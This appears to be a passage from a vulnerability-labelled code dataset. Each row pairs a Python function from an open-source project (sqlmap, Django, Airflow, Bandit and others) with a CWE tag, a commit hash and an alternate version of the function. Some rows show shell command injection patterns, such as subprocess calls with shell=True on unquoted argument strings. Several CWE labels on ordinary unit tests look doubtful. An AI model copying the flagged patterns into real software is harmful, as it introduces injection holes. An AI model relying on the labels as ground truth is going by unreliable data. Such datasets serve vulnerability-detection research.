            # qualified name for an attr, just return its base name.
            pass

        return(""%s.%s"" % (prefix, node.attr))
    else:
        return """""
,UNKNOWN,UNKNOWN,lib/core/common.py,1,"def getConsoleWidth(default=80):
    """"""
    Returns console width
    """"""

    width = None

    if os.getenv(""COLUMNS"", """").isdigit():
        width = int(os.getenv(""COLUMNS""))
    else:
        try:
            output = shellExec(""stty size"")
            match = re.search(r""\A\d+ (\d+)"", output)

            if match:
                width = int(match.group(1))
        except (OSError, MemoryError):
            pass

    if width is None:
        try:
            import curses

            stdscr = curses.initscr()
            _, width = stdscr.getmaxyx()
            curses.endwin()
        except:
            pass

    return width or default","CWE-78, CWE-703",sqlmapproject/sqlmap,36cb4faf4db59c9dbb47fdd5c99f084b78d8f543,"def getConsoleWidth(default=80):
    """"""
    Returns console width
    """"""

    width = None

    if os.getenv(""COLUMNS"", """").isdigit():
        width = int(os.getenv(""COLUMNS""))
    else:
        try:
            try:
                FNULL = open(os.devnull, 'w')
            except IOError:
                FNULL = None
            process = subprocess.Popen(""stty size"", shell=True, stdout=subprocess.PIPE, stderr=FNULL or subprocess.PIPE)
            stdout, _ = process.communicate()
            items = stdout.split()

            if len(items) == 2 and items[1].isdigit():
                width = int(items[1])
        except (OSError, MemoryError):
            pass

    if width is None:
        try:
            import curses

            stdscr = curses.initscr()
            _, width = stdscr.getmaxyx()
            curses.endwin()
        except:
            pass

    return width or default"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_connection.py,1,"def test_process_form_extras_both(mock_pm_hooks, mock_import_str, field_name):
    """"""
    Test the handling of connection parameters set with the classic `Extra` field as well as custom fields.
    The key used in the field definition returned by `get_connection_form_widgets` is stored in
    attr `extra_field_name_mapping`.  Whatever is defined there is what should end up in `extra` when
    the form is processed.
    """"""
    mock_pm_hooks.get.return_value = True  # ensure that hook appears registered

    # Testing parameters set in both `Extra` and custom fields.
    mock_form = mock.Mock()
    mock_form.data = {
        ""conn_type"": ""test"",
        ""conn_id"": ""extras_test"",
        ""extra"": '{""param1"": ""param1_val""}',
        ""extra__test__custom_field"": ""custom_field_val"",
        ""extra__other_conn_type__custom_field"": ""another_field_val"",
    }

    cmv = ConnectionModelView()

    # this is set by `lazy_add_provider_discovered_options_to_connection_form`
    cmv.extra_field_name_mapping['extra__test__custom_field'] = field_name
    cmv.extra_fields = [""extra__test__custom_field""]  # Custom field
    cmv.process_form(form=mock_form, is_created=True)

    assert json.loads(mock_form.extra.data) == {
        field_name: ""custom_field_val"",
        ""param1"": ""param1_val"",
    }",CWE-703,apache/airflow,a9ab02f7c067917aa74e814f3fdca429b66e3295,"def test_process_form_extras_both(mock_pm_hooks, mock_import_str, field_name):
    """"""
    Test the handling of connection parameters set with the classic `Extra` field as well as custom fields.
    The key used in the field definition returned by `get_connection_form_widgets` is stored in
    attr `extra_field_name_mapping`.  Whatever is defined there is what should end up in `extra` when
    the form is processed.
    """"""
    mock_pm_hooks.get.return_value = True  # ensure that hook appears registered

    # Testing parameters set in both `Extra` and custom fields.
    mock_form = mock.Mock()
    mock_form.data = {
        ""conn_type"": ""test"",
        ""conn_id"": ""extras_test"",
        ""extra"": '{""param1"": ""param1_val""}',
        ""extra__test__custom_field"": ""custom_field_val"",
    }

    cmv = ConnectionModelView()

    # this is set by `lazy_add_provider_discovered_options_to_connection_form`
    cmv.extra_field_name_mapping['extra__test__custom_field'] = field_name
    cmv.extra_fields = [""extra__test__custom_field""]  # Custom field
    cmv.process_form(form=mock_form, is_created=True)

    assert json.loads(mock_form.extra.data) == {
        field_name: ""custom_field_val"",
        ""param1"": ""param1_val"",
    }"
,UNKNOWN,UNKNOWN,tests/regressiontests/admin_scripts/tests.py,1,"def run_test(self, script, args, settings_file=None, apps=None):
        test_dir = os.path.dirname(os.path.dirname(__file__))
        project_dir = os.path.dirname(test_dir)
        base_dir = os.path.dirname(project_dir)
        ext_backend_base_dirs = self._ext_backend_paths()

        # Remember the old environment
        old_django_settings_module = os.environ.get('DJANGO_SETTINGS_MODULE', None)
        if sys.platform.startswith('java'):
            python_path_var_name = 'JYTHONPATH'
        else:
            python_path_var_name = 'PYTHONPATH'

        old_python_path = os.environ.get(python_path_var_name, None)
        old_cwd = os.getcwd()

        # Set the test environment
        if settings_file:
            os.environ['DJANGO_SETTINGS_MODULE'] = settings_file
        elif 'DJANGO_SETTINGS_MODULE' in os.environ:
            del os.environ['DJANGO_SETTINGS_MODULE']
        python_path = [test_dir, base_dir]
        python_path.extend(ext_backend_base_dirs)
        os.environ[python_path_var_name] = os.pathsep.join(python_path)

        # Build the command line
        executable = sys.executable
        arg_string = ' '.join(['%s' % arg for arg in args])
        if ' ' in executable:
            cmd = '""""%s"" ""%s"" %s""' % (executable, script, arg_string)
        else:
            cmd = '%s ""%s"" %s' % (executable, script, arg_string)

        # Move to the test directory and run
        os.chdir(test_dir)
        try:
            from subprocess import Popen, PIPE
            p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
            stdin, stdout, stderr = (p.stdin, p.stdout, p.stderr)
        except ImportError:
            stdin, stdout, stderr = os.popen3(cmd)
        out, err = stdout.read(), stderr.read()

        # Restore the old environment
        if old_django_settings_module:
            os.environ['DJANGO_SETTINGS_MODULE'] = old_django_settings_module
        if old_python_path:
            os.environ[python_path_var_name] = old_python_path
        # Move back to the old working directory
        os.chdir(old_cwd)

        return out, err",CWE-78,django/django,5c6fe321fe00fa59006ea0c91300bd36a817411a,"def run_test(self, script, args, settings_file=None, apps=None):
        test_dir = os.path.dirname(os.path.dirname(__file__))
        project_dir = os.path.dirname(test_dir)
        base_dir = os.path.dirname(project_dir)
        ext_backend_base_dirs = self._ext_backend_paths()

        # Remember the old environment
        old_django_settings_module = os.environ.get('DJANGO_SETTINGS_MODULE', None)
        if sys.platform.startswith('java'):
            python_path_var_name = 'JYTHONPATH'
        else:
            python_path_var_name = 'PYTHONPATH'

        old_python_path = os.environ.get(python_path_var_name, None)
        old_cwd = os.getcwd()

        # Set the test environment
        if settings_file:
            os.environ['DJANGO_SETTINGS_MODULE'] = settings_file
        elif 'DJANGO_SETTINGS_MODULE' in os.environ:
            del os.environ['DJANGO_SETTINGS_MODULE']
        python_path = [test_dir, base_dir]
        python_path.extend(ext_backend_base_dirs)
        os.environ[python_path_var_name] = os.pathsep.join(python_path)

        # Build the command line
        executable = sys.executable
        arg_string = ' '.join(['%s' % arg for arg in args])
        if ' ' in executable:
            cmd = '""""%s"" ""%s"" %s""' % (executable, script, arg_string)
        else:
            cmd = '%s ""%s"" %s' % (executable, script, arg_string)

        # Move to the test directory and run
        os.chdir(test_dir)
        try:
            from subprocess import Popen, PIPE
            p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
            stdin, stdout, stderr = (p.stdin, p.stdout, p.stderr)
        except ImportError:
            stdin, stdout, stderr = os.popen3(cmd)
        out, err = stdout.read(), stderr.read()

        # Restore the old environment
        if old_django_settings_module:
            os.environ['DJANGO_SETTINGS_MODULE'] = old_django_settings_module
        if old_python_path:
            os.environ[python_path_var_name] = old_python_path
        # Move back to the old working directory
        os.chdir(old_cwd)

        return out, err"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/tests/test_manager.py,0,"def test_checkpoint_subdir(self):
        subd = u'sub ∂ir'
        cp_name = 'test-cp.ipynb'
        with TemporaryDirectory() as td:
            root = td
            os.mkdir(os.path.join(td, subd))
            fm = FileContentsManager(root_dir=root)
            cpm = fm.checkpoints
            cp_dir = cpm.checkpoint_path(
                'cp', 'test.ipynb'
            )
            cp_subdir = cpm.checkpoint_path(
                'cp', '/%s/test.ipynb' % subd
            )
        self.assertNotEqual(cp_dir, cp_subdir)
        self.assertEqual(cp_dir, os.path.join(root, cpm.checkpoint_dir, cp_name))
        self.assertEqual(cp_subdir, os.path.join(root, subd, cpm.checkpoint_dir, cp_name))",,jupyter/notebook,295294e876d4947a72ca97947e350fe1c87ab10a,"def test_checkpoint_subdir(self):
        subd = u'sub ∂ir'
        cp_name = 'test-cp.ipynb'
        with TemporaryDirectory() as td:
            root = td
            os.mkdir(os.path.join(td, subd))
            fm = FileContentsManager(root_dir=root)
            cpm = fm.checkpoints
            cp_dir = cpm.checkpoint_path(
                'cp', 'test.ipynb'
            )
            cp_subdir = cpm.checkpoint_path(
                'cp', '/%s/test.ipynb' % subd
            )
        self.assertNotEqual(cp_dir, cp_subdir)
        self.assertEqual(cp_dir, os.path.join(root, cpm.checkpoint_dir, cp_name))
        self.assertEqual(cp_subdir, os.path.join(root, subd, cpm.checkpoint_dir, cp_name))"
,UNKNOWN,UNKNOWN,tests/pytorch/test_pytorch_autolog.py,1,"def test_pytorch_autolog_persists_manually_created_run():
    with mlflow.start_run() as manual_run:
        mlflow.pytorch.autolog()
        model = IrisClassification()
        dm = IrisDataModule()
        dm.setup(stage=""fit"")
        trainer = pl.Trainer(max_epochs=NUM_EPOCHS)
        trainer.fit(model, dm)
        trainer.test(datamodule=dm)
        assert mlflow.active_run() is not None
        assert mlflow.active_run().info.run_id == manual_run.info.run_id",CWE-703,mlflow/mlflow,1fecc625429701ada8da9f424a85f337c558960d,"def test_pytorch_autolog_persists_manually_created_run():
    with mlflow.start_run() as manual_run:
        mlflow.pytorch.autolog()
        model = IrisClassification()
        dm = IrisDataModule()
        dm.setup(stage=""fit"")
        trainer = pl.Trainer(max_epochs=NUM_EPOCHS)
        trainer.fit(model, dm)
        trainer.test()
        assert mlflow.active_run() is not None
        assert mlflow.active_run().info.run_id == manual_run.info.run_id"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pytests/unit/renderers/test_yaml.py,0,"def assert_unicode(value):
    """"""
    Make sure the entire data structure is unicode
    """"""
    if isinstance(value, str):
        if not isinstance(value, str):
            raise value
    elif isinstance(value, collections.abc.Mapping):
        for k, v in value.items():
            assert_unicode(k)
            assert_unicode(v)
    elif isinstance(value, collections.Iterable):
        for item in value:
            assert_unicode(item)",,saltstack/salt,306aa6dd2948e8d149fa65f51e9959a2e464a930,"def assert_unicode(value):
    """"""
    Make sure the entire data structure is unicode
    """"""
    if isinstance(value, str):
        if not isinstance(value, str):
            raise value
    elif isinstance(value, collections.Mapping):
        for k, v in value.items():
            assert_unicode(k)
            assert_unicode(v)
    elif isinstance(value, collections.Iterable):
        for item in value:
            assert_unicode(item)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/bandit.py,0,"def main():
    # bring our logging stuff up as early as possible
    debug = ('-d' in sys.argv or '--debug' in sys.argv)
    _init_logger(debug)
    # By default path would be /etx/xdg/bandit, we want system paths
    os.environ['XDG_CONFIG_DIRS'] = '/etc:/usr/local/etc'
    extension_mgr = _init_extensions()

    # now do normal startup
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code analyzer.'
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='+',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='group results by vulnerability type or file it occurs in'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=-1, type=int,
        help='max number of code lines to display for each issue identified'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help=('if omitted default locations are checked. '
              'Check documentation for searched paths')
    )
    parser.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='test set profile in config to use (defaults to all tests)'
    )
    parser.add_argument(
        '-l', '--level', dest='severity', action='count',
        default=1, help=('results severity filter. Show only issues of a given'
                         ' severity level or higher. -l for LOW,'
                         ' -ll for MEDIUM, -lll for HIGH')
    )
    parser.add_argument(
        '-i', '--confidence', dest='confidence', action='count',
        default=1, help='confidence results filter, show only issues of this '
                        'level or higher. -i for LOW, -ii for MEDIUM, '
                        '-iii for HIGH'
    )
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default='txt', help='specify output format',
        choices=sorted(extension_mgr.formatter_names)
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store',
        default=None, help='write report to filename'
    )
    parser.add_argument(
        '-v', '--verbose', dest='verbose', action='store_true',
        help='show extra information like excluded and included files'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)

    parser.epilog = ('The following plugin suites were discovered and'
                     ' loaded: [' +
                     ', '.join(extension_mgr.plugin_names) + ']')

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    config_file = args.config_file
    if not config_file:
        try:
            config_file = _find_config()
        except utils.NoConfigFileFound as e:
            logger.error(e)
            sys.exit(2)

    try:
        b_conf = b_config.BanditConfig(config_file)
    except (utils.ConfigFileUnopenable, utils.ConfigFileInvalidYaml) as e:
        logger.error('%s', e)
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option('log_format'):
        log_format = b_conf.get_option('log_format')
        _init_logger(debug, log_format=log_format)

    b_mgr = b_manager.BanditManager(b_conf, args.agg_type, args.debug,
                                    profile_name=args.profile,
                                    verbose=args.verbose)

    if args.output_format != ""json"":
        logger.info(""using config: %s"", config_file)
        logger.info(""running on Python %d.%d.%d"", sys.version_info.major,
                    sys.version_info.minor, sys.version_info.micro)

    # check ability to write output file, if requested
    if args.output_file is not None:
        check_dest = b_mgr.check_output_destination(args.output_file)
        if check_dest is not True:
            logger.error(
                'Problem with specified output destination\n\t%s: %s',
                check_dest, args.output_file
            )
            sys.exit(2)

    # no point running if there are no tests available
    if not b_mgr.has_tests:
        logger.error('Could not find any tests to apply, please check '
                     'the configuration.')
        sys.exit(2)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    if args.debug:
        print(b_mgr.b_ma)

    # trigger output of results by Bandit Manager
    b_mgr.output_results(args.context_lines, args.severity - 1,
                         args.confidence - 1, args.output_file,
                         args.output_format)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count(sev_filter=args.severity - 1,
                           conf_filter=args.confidence - 1) > 0:
        sys.exit(1)
    else:
        sys.exit(0)",UNKNOWN,PyCQA/bandit,6cb63dbbd8c152e9e034b2ed0e1af9f42170b872,"def main():
    # bring our logging stuff up as early as possible
    debug = ('-d' in sys.argv or '--debug' in sys.argv)
    _init_logger(debug)
    # By default path would be /etx/xdg/bandit, we want system paths
    os.environ['XDG_CONFIG_DIRS'] = '/etc:/usr/local/etc'
    extension_mgr = _init_extensions()

    # now do normal startup
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code analyzer.'
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='+',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='group results by vulnerability type or file it occurs in'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=-1, type=int,
        help='max number of code lines to display for each issue identified'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help=('if omitted default locations are checked. '
              'Check documentation for searched paths')
    )
    parser.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='test set profile in config to use (defaults to all tests)'
    )
    parser.add_argument(
        '-l', '--level', dest='severity', action='count',
        default=1, help=('results severity filter. Show only issues of a given'
                         ' severity level or higher. -l for LOW,'
                         ' -ll for MEDIUM, -lll for HIGH')
    )
    parser.add_argument(
        '-i', '--confidence', dest='confidence', action='count',
        default=1, help='confidence results filter, show only issues of this '
                        'level or higher. -i for LOW, -ii for MEDIUM, '
                        '-iii for HIGH'
    )
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default='txt', help='specify output format',
        choices=sorted(extension_mgr.formatter_names)
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store',
        default=None, help='write report to filename'
    )
    parser.add_argument(
        '-v', '--verbose', dest='verbose', action='store_true',
        help='show extra information like excluded and included files'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)

    parser.epilog = ('The following plugin suites were discovered and'
                     ' loaded: [' +
                     ', '.join(extension_mgr.plugin_names) + ']')

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    config_file = args.config_file
    if not config_file:
        try:
            config_file = _find_config()
        except utils.NoConfigFileFound as e:
            logger.error(e)
            sys.exit(2)

    try:
        b_conf = b_config.BanditConfig(config_file)
    except (utils.ConfigFileUnopenable, utils.ConfigFileInvalidYaml) as e:
        logger.error('%s', e)
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option('log_format'):
        log_format = b_conf.get_option('log_format')
        _init_logger(debug, log_format=log_format)

    b_mgr = b_manager.BanditManager(b_conf, args.agg_type, args.debug,
                                    profile_name=args.profile,
                                    verbose=args.verbose)

    if args.output_format != ""json"":
        logger.info(""using config: %s"", config_file)
        logger.info(""running on Python %d.%d.%d"", sys.version_info.major,
                    sys.version_info.minor, sys.version_info.micro)

    # check ability to write output file, if requested
    if args.output_file is not None:
        check_dest = b_mgr.check_output_destination(args.output_file)
        if check_dest is not True:
            logger.error(
                'Problem with specified output destination\n\t%s: %s',
                check_dest, args.output_file
            )
            sys.exit(2)

    # no point running if there are no tests available
    if not b_mgr.has_tests:
        logger.error('Could not find any tests to apply, please check '
                     'the configuration.')
        sys.exit(2)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    if args.debug:
        b_mgr.output_metaast()

    # trigger output of results by Bandit Manager
    b_mgr.output_results(args.context_lines, args.severity - 1,
                         args.confidence - 1, args.output_file,
                         args.output_format)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count(sev_filter=args.severity - 1,
                           conf_filter=args.confidence - 1) > 0:
        sys.exit(1)
    else:
        sys.exit(0)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/dag.py,0,"def dags_needing_dagruns(cls, session: Session) -> Tuple[Query, Dict[str, Tuple[datetime, datetime]]]:
        """"""
        Return (and lock) a list of Dag objects that are due to create a new DagRun.

        This will return a resultset of rows that is row-level-locked with a ""SELECT ... FOR UPDATE"" query,
        you should ensure that any scheduling decisions are made in a single transaction -- as soon as the
        transaction is committed it will be unlocked.
        """"""
        # these dag ids are triggered by datasets, and they are ready to go.
        dataset_triggered_dag_info_list = {
            x.dag_id: (x.first_queued_time, x.last_queued_time)
            for x in session.query(
                DagScheduleDatasetReference.dag_id,
                func.max(DDRQ.created_at).label('last_queued_time'),
                func.min(DDRQ.created_at).label('first_queued_time'),
            )
            .join(DagScheduleDatasetReference.queue_records, isouter=True)
            .group_by(DagScheduleDatasetReference.dag_id)
            .having(func.count() == func.sum(case((DDRQ.target_dag_id.is_not(None), 1), else_=0)))
            .all()
        }
        dataset_triggered_dag_ids = list(dataset_triggered_dag_info_list.keys())

        # TODO[HA]: Bake this query, it is run _A lot_
        # We limit so that _one_ scheduler doesn't try to do all the creation
        # of dag runs

        query = (
            session.query(cls)
            .filter(
                cls.is_paused == expression.false(),
                cls.is_active == expression.true(),
                cls.has_import_errors == expression.false(),
                or_(
                    cls.next_dagrun_create_after <= func.now(),
                    cls.dag_id.in_(dataset_triggered_dag_ids),
                ),
            )
            .order_by(cls.next_dagrun_create_after)
            .limit(cls.NUM_DAGS_PER_DAGRUN_QUERY)
        )

        return (
            with_row_locks(query, of=cls, session=session, **skip_locked(session=session)),
            dataset_triggered_dag_info_list,
        )",CWE-Unknown,apache/airflow,c642e1a8373173355013700aa614c87202b2e47f,"def dags_needing_dagruns(cls, session: Session) -> Tuple[Query, Dict[str, Tuple[datetime, datetime]]]:
        """"""
        Return (and lock) a list of Dag objects that are due to create a new DagRun.

        This will return a resultset of rows that is row-level-locked with a ""SELECT ... FOR UPDATE"" query,
        you should ensure that any scheduling decisions are made in a single transaction -- as soon as the
        transaction is committed it will be unlocked.
        """"""
        from airflow.models.dataset import DagScheduleDatasetReference, DatasetDagRunQueue as DDRQ

        # these dag ids are triggered by datasets, and they are ready to go.
        dataset_triggered_dag_info_list = {
            x.dag_id: (x.first_event_time, x.last_event_time)
            for x in session.query(
                DagScheduleDatasetReference.dag_id,
                func.max(DDRQ.created_at).label('last_event_time'),
                func.max(DDRQ.created_at).label('first_event_time'),
            )
            .join(DagScheduleDatasetReference.queue_records, isouter=True)
            .group_by(DagScheduleDatasetReference.dag_id)
            .having(func.count() == func.sum(case((DDRQ.target_dag_id.is_not(None), 1), else_=0)))
            .all()
        }
        dataset_triggered_dag_ids = list(dataset_triggered_dag_info_list.keys())

        # TODO[HA]: Bake this query, it is run _A lot_
        # We limit so that _one_ scheduler doesn't try to do all the creation
        # of dag runs

        query = (
            session.query(cls)
            .filter(
                cls.is_paused == expression.false(),
                cls.is_active == expression.true(),
                cls.has_import_errors == expression.false(),
                or_(
                    cls.next_dagrun_create_after <= func.now(),
                    cls.dag_id.in_(dataset_triggered_dag_ids),
                ),
            )
            .order_by(cls.next_dagrun_create_after)
            .limit(cls.NUM_DAGS_PER_DAGRUN_QUERY)
        )

        return (
            with_row_locks(query, of=cls, session=session, **skip_locked(session=session)),
            dataset_triggered_dag_info_list,
        )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/grep/httpAuthDetect.py,0,"def __init__(self):
        baseGrepPlugin.__init__(self)
        
        self._authUriRegexStr = '.*://.*?:.*?@[\w\.]{3,40}'",,andresriancho/w3af,5a7da759b063172ca5496b6f7e85ed776d022a78,"def __init__(self):
        baseGrepPlugin.__init__(self)
        
        self._authUriRegexStr = '.*://.*?:.*?@[\w\.]{3,40}'"
,UNKNOWN,UNKNOWN,tests/test_utils.py,1,"def test_iter_slices(value, length):
    if length is None or (length <= 0 and len(value) > 0):
        # Reads all content at once
        assert len(list(iter_slices(value, length))) == 1
    else:
        assert len(list(iter_slices(value, 1))) == length",CWE-703,psf/requests,4285bac3fd0e53fe4194ff29bc9ca931c48b2179,"def test_iter_slices(value, length):
    if length is None or (length <= 0 and len(value) > 0):
        # Reads all content at once
        assert len(list(iter_slices(value, length))) == 1
    else:
        assert len(list(iter_slices(value, 1))) == length"
,UNKNOWN,UNKNOWN,tests/plugins/test_plugins_manager.py,1,"def test_loads_filesystem_plugins(self, caplog):
        from airflow import plugins_manager

        with mock.patch(""airflow.plugins_manager.plugins"", []):
            plugins_manager.load_plugins_from_plugin_directory()

            assert len(plugins_manager.plugins) == 9
            for plugin in plugins_manager.plugins:
                if ""AirflowTestOnLoadPlugin"" in str(plugin):
                    assert ""postload"" == plugin.name
                    break
            else:
                pytest.fail(""Wasn't able to find a registered `AirflowTestOnLoadPlugin`"")

            assert caplog.record_tuples == []",CWE-703,apache/airflow,0bd1dfa19253f37346558c5a85e3374521c589a2,"def test_loads_filesystem_plugins(self, caplog):
        from airflow import plugins_manager

        with mock.patch(""airflow.plugins_manager.plugins"", []):
            plugins_manager.load_plugins_from_plugin_directory()

            assert 7 == len(plugins_manager.plugins)
            for plugin in plugins_manager.plugins:
                if ""AirflowTestOnLoadPlugin"" in str(plugin):
                    assert ""postload"" == plugin.name
                    break
            else:
                pytest.fail(""Wasn't able to find a registered `AirflowTestOnLoadPlugin`"")

            assert caplog.record_tuples == []"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/execution_api/versions/head/test_dag_runs.py,1,"def test_get_count_with_mixed_states(self, client, session, dag_maker):
        with dag_maker(""test_get_count_with_mixed""):
            pass
        dag_maker.create_dagrun(
            state=State.SUCCESS, run_id=""runid1"", logical_date=timezone.datetime(2025, 1, 1)
        )
        dag_maker.create_dagrun(
            state=State.QUEUED, run_id=""runid2"", logical_date=timezone.datetime(2025, 1, 2)
        )
        session.commit()

        response = client.get(
            ""/execution/dag-runs/count"",
            params={""dag_id"": ""test_get_count_with_mixed"", ""states"": [State.SUCCESS, State.QUEUED]},
        )
        assert response.status_code == 200
        assert response.json() == 2",CWE-703,apache/airflow,35d23c3222472ef354acc34fd3a76237bced727b,"def test_get_count_with_mixed_states(self, client, session, dag_maker):
        with dag_maker(""test_get_count_with_mixed""):
            pass
        dag_maker.create_dagrun(
            state=State.SUCCESS, run_id=""runid1"", logical_date=timezone.datetime(2025, 1, 1)
        )
        dag_maker.create_dagrun(
            state=State.QUEUED, run_id=""runid2"", logical_date=timezone.datetime(2025, 1, 2)
        )
        session.commit()

        response = client.get(
            ""/execution/dag-runs/count"",
            params={""dag_id"": ""test_get_count_with_mixed"", ""states"": [State.SUCCESS, State.QUEUED]},
        )
        assert response.status_code == 200
        assert response.json() == 2"
,UNKNOWN,UNKNOWN,tests/api_connexion/schemas/test_task_instance_schema.py,1,"def test_success(self):
        result = set_task_instance_state_form.load(self.current_input)
        expected_result = {
            ""dry_run"": True,
            ""execution_date"": dt.datetime(2020, 1, 1, 0, 0, tzinfo=dt.timezone(dt.timedelta(0), ""+0000"")),
            ""include_downstream"": True,
            ""include_future"": True,
            ""include_past"": True,
            ""include_upstream"": True,
            ""new_state"": ""failed"",
            ""task_id"": ""print_the_context"",
        }
        assert expected_result == result",CWE-703,apache/airflow,196a235358de21c62aedca1347b2527600e8ae87,"def test_success(self):
        result = set_task_instance_state_form.load(self.current_input)
        expected_result = {
            ""dry_run"": True,
            ""execution_date"": dt.datetime(2020, 1, 1, 0, 0, tzinfo=dt.timezone(dt.timedelta(0), ""+0000"")),
            ""include_downstream"": True,
            ""include_future"": True,
            ""include_past"": True,
            ""include_upstream"": True,
            ""new_state"": ""failed"",
            ""task_id"": ""print_the_context"",
        }
        assert expected_result == result"
,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,1,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta

        if not self.has_add_permission(request):
            raise PermissionDenied

        ModelForm = self.get_form(request)
        formsets = []
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=False)
            else:
                form_validated = False
                new_object = self.model()
            prefixes = {}
            for FormSet in self.get_formsets(request):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=request.POST.has_key(""_saveasnew""),
                                  prefix=prefix)
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, change=False)
                form.save_m2m()
                for formset in formsets:
                    self.save_formset(request, form, formset, change=False)

                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            # Prepare the dict of initial data from the request.
            # We have to special-case M2Ms as a list of comma-separated PKs.
            initial = dict(request.GET.items())
            for k in initial:
                try:
                    f = opts.get_field(k)
                except models.FieldDoesNotExist:
                    continue
                if isinstance(f, models.ManyToManyField):
                    initial[k] = initial[k].split("","")
            form = ModelForm(initial=initial)
            prefixes = {}
            for FormSet in self.get_formsets(request):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(instance=self.model(), prefix=prefix)
                formsets.append(formset)

        adminForm = helpers.AdminForm(form, list(self.get_fieldsets(request)), self.prepopulated_fields)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(self.inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            inline_admin_formset = helpers.InlineAdminFormSet(inline, formset, fieldsets)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': request.REQUEST.has_key('_popup'),
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': helpers.AdminErrorList(form, formsets),
            'root_path': self.admin_site.root_path,
            'app_label': opts.app_label,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, form_url=form_url, add=True)",CWE-79,django/django,11d08bca2bf99de7e7aefec7986a206ea5039724,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta

        if not self.has_add_permission(request):
            raise PermissionDenied

        ModelForm = self.get_form(request)
        formsets = []
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=False)
            else:
                form_validated = False
                new_object = self.model()
            prefixes = {}
            for FormSet in self.get_formsets(request):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=request.POST.has_key(""_saveasnew""),
                                  prefix=prefix)
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, change=False)
                form.save_m2m()
                for formset in formsets:
                    self.save_formset(request, form, formset, change=False)

                self.log_addition(request, new_object)
